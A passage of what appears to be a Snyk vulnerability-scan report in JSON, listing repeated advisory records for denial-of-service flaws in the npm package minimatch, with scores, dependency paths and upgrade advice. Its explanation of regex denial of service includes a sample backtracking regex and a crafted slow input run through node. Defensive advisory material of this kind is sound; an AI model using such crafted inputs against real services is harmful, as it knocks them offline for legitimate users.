catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": 